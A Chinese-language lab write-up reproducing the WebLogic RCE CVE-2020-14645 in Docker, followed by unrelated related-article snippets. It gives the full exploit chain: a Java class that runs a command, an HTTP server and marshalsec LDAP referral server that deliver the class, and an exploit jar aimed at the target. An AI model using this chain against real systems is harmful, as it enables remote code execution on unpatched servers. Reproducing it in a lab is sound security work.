Weblogic远程代码执行(CVE-2020-14645)

article/2025/10/27 7:33:21

声明

好好学习,天天向上

漏洞描述

Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。

反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

影响范围

Oracle Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 14.1.1.0.0

复现过程

看公众号大佬搭建教程,在官网上下载12.2.1.4,在windows上用搭建了N次,都无法复现,心态都快崩了,然后看见docker上有资源,于是决定再试一试

这里使用12.1.4.0

docker镜像

https://hub.docker.com/r/z1du/weblogic12214jdk8u181

其实就是执行这条命令,镜像比较大,我百兆来来回回执行好几次命令,才成功

docker pull z1du/weblogic12214jdk8u181

拉取镜像后,模拟vulhub大佬,自己写docker-compose.yml文件,创建一个CVE-2020-14645文件夹,然后创建docker-compose.yml文件,内容为

version: '2'
services:weblogic:image: z1du/weblogic12214jdk8u181ports:- "7001:7001"

执行

docker-compose up -d

这里有个小插曲,头一次自己写docker-compose,心里没底,然后执行完启动命令后,报错,后背冒冷汗,不过仔细一看错误,端口占用,立马查看有没有别的镜像在使用7001,一看果然,vulhub上有个忘记down,真不是好习惯,关闭这个后,再次up,正常启动

在这里插入图片描述

访问如下地址,即可

http://192.168.239.129:7001/console

开始攻击

创建名字为exp.java

public class exp{public exp(){try {Runtime.getRuntime().exec("touch /tmp/cve-2020-14645");} catch (Exception e) {e.printStackTrace();}}public static void main(String[] argv){exp e = new exp();}
}

可以看到我以前复现失败的痕迹,想起了以前的点点滴滴

在这里插入图片描述

创建好后,进行编译

javac exp.java

安装marshalsec,mvn也是需要安装的,不过这个很简单,和java一模一样,我一般一次编译好,打成jar后,后面哪个漏洞需要复现直接拷贝jar

git clone https://github.com/mbechler/marshalsec.gitcd marshalsecmvn clean package -DskipTests

这一步等了太久久久久了,我这下载一大堆东西

在这里插入图片描述

接着,使用python启动http服务器,并将exp.class放入站点根目录(我这边指定5001端口)

python3 -m http.server 5001

在这里插入图片描述

启动ldap服务,细心的你,不要把IP或者文件路径给搞错了哦,注意修改IP,还有进到marshalsec.jar的目录再执行,要不然会报找不到类

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.239.139:5001/#exp 1099

在这里插入图片描述

使用CVE-2020-14645漏洞验证工具

https://github.com/ChenZIDu/CVE-2020-14645
git clone https://github.com/ChenZIDu/CVE-2020-14645cd CVE-2020-14645java -jar CVE-2020-14645.jar 192.168.239.139:1009/#exp http://192.168.239.170:7001

在这里插入图片描述

进入docker,可看到命令已执行

在这里插入图片描述


http://chatgpt.dhexx.cn/article/DmONN2ke.shtml

相关文章

weblogic 64位 linux,weblogic在linux和window下的安装

weblogic在linux和window下的安装 Windows server2008 一直下一步没什么坑 centos6.5 使用rpm安装jdk8 安装jdl rpm -ivh jdk-8u191-linux-x64.rpm 配置环境变量 vim /etc/profile //打开环境变量文件 JAVA_HOME/usr/java/jdk1.8.0_191 CLASSPATH%JAVA_HOME%/lib:%JAVA_HOME%/j…

电脑上怎么安装c语言编程软件,如何在自己的电脑上安装C语言运行的环境?

2007-07-12 java / C / C / C# 学习这些语言分别应该安装什么软件(用于学习的和用于编程的,好像还有什么编译器?),请懂的人帮忙一一列出根这些语言相对应的相关软件.谢谢 1、学习JAVA语言首先必须要安装java虚拟机,也就是常说的&a…

Oracle书籍推荐

No.1 精通Oracle SQL 通过这本书,你可以学习到Oracle优化技术,你会发现,执行计划跟你有那么大的关系。我们都说,如果你写sql不会看执行计划,那么就不是一个合格的数据库程序员。 No.2 Oracle查询优化改写技巧与案例 …

数据仓库之路:为你推荐六本经典的数据仓库书籍

这是傅一平的第325篇原创 作者:傅一平 个人微信:fuyipingmnb “与数据同行”开通了微信群,已经汇聚了4000位小伙伴了,加我为微信好友(微信号:frank61822702)申请即可,我会拉你入群。…

常见的数据库电子图书 [共9本]

自己平日收集到的一些数据库方面的书籍: 1、MS SQL Server循序渐进[chm] 2、MS SQL Server精华[chm] 3、MS SQL_Server菜鸟入门[chm] 4、MS SQL Server参考手册[chm] 5、MY SQL中文参考手册[chm] 6、MY SQL中文手册[chm] 7、中兴公司ORACLE数据库培训[pdf] 8…

学好数据库,看这9本书就够了

原文地址:http://blog.csdn.net/f2006116/article/details/51997820 软件开发者编写代码,最终都是要处理数据,因此数据库是必备技能。 悲剧的是,学校里与此最相关的数据库原理课,对初学者的体验却非常不好。相信很多同…

成为数据库专家必读书目推荐

1 推荐书目列表 序号书名难易度简评1《SQL必知必会》%注重实践,容易上手2《MySQL必知必会》%%上一本看完,这一本基本上只要关注 MySQL 的特殊特性即可3《数据库系统概念》%%%大而全,希望打好数据库方面的基础的同学必读4《SQL语言艺术》%%看…

值得看的SQL书籍

来自:程序员书库(ID:CodingBook) 近年来,和其他系统领域一样,数据库领域也实现了飞速发展,应用范围不断扩大,不但出现了具有新功能的数据库,而且操作的数据量也在大幅增…

大牛书单 | 数据库专题好书分享

导语:读书是一生的功课,技术人通过读书实现自我提升,学习优秀技术沉淀。TEG读书会本期特邀腾讯金融云专家工程师李海翔、TEG计费平台部专家工程师雷海林、MySQL数据库专家姜承尧,为大家带来数据库方向好书推荐。来看看技术大牛在读…

强烈推荐 10 本我私藏的数据库书单,附读书方法,java程序设计项目化教程

第三本、《MySQL 必知必会》 《MySQL 必知必会》这本书的英文原版名是《Sams Teach Yourself MySQL in 10 Minutes》,有没有品到一丝丝标题党的味道?不过,中文版名字就优雅多了。 这书非常适合想快速了解数据库原理和 MySQL 的新手阅读。快餐性质,简洁明快,小开本,而且很…

删除HTML元素

删除HTML元素也是通过删除节点来完成的。对于普通的HTML元素,可用通用方法来删除节点,而列表框、下拉菜单、表格则有额外的方法来删除HTML元素。 删除节点 删除节点通常借助于其父节点,Node 对象提供了如下方法来删除子节点。 ➢removeChil…

使用JavaScript删除CSS属性

如何使用JavaScript删除CSS属性?下面本篇就来给大家介绍一下使用JavaScript删除CSS属性的方法,希望对大家有所帮助。 方法一:使用removeProperty()方法 removeProperty()方法用于从元素的样式中移除属性。元素的样式是通过styleSheets数组并…

Js 添加删除HTML DOM 元素(节点)

添加: <div id"div1"> <p id"p1">这是一个段落</p> <p id"p2">这是另一个段落</p> </div><script> var paradocument.createElement("p"); var nodedocument.createTextNode("这是新段…

JavaScript 删除 HTML 元素

1-删除节点 removeChild&#xff08;oldNode&#xff09;&#xff1a;删除 oldChild 子节点 <body id"test"><input id"add" type"button" value"增加" disabled onclick"add();"/><input id"del&quo…

html+css+js实现基本的增减删查

本编文章对学过js的朋友而没思路写的的朋友可以作为一个参考&#xff0c;没有学过js的建议先学习基础知识。 整体效果&#xff1a; 源码如下&#xff1a; <!DOCTYPE html> <html><head><meta charset"utf-8"><title>增删减</titl…

js添加和删除元素节点

js添加和删除元素节点 <!DOCTYPE html> <html> <head><meta charset"UTF-8"><title></title><script>var i 0;//创建节点function but() {//创建元素节点//var ele document.createElement("h1");//<h1>…

用js向html里面添加(插入)、删除与修改元素

添加(插入) 这里我们创建一个无序列表&#xff0c;当然了什么都可以&#xff0c;我们以无需列表来举例然后有三个按钮 我们的需求是&#xff1a; 点击‘有请紫衫龙王’之后&#xff0c;在青翼蝠王的前面出现紫衫龙王点击‘有请新教主’之后&#xff0c;在金毛狮王的前面出现张…

Mac系统, 切换大小写失灵

最近突然,大小姐切换失灵, 查了一下,解决方案如下: 系统偏好设置-> 键盘--> 输出法:

Mac大小写切换需长按caps lock键解决办法

偏好设置—键盘—输入法—长按以启用全大写键入&#xff08;去掉前面的对号&#xff0c;注意&#xff1a;这一行字很小&#xff09;。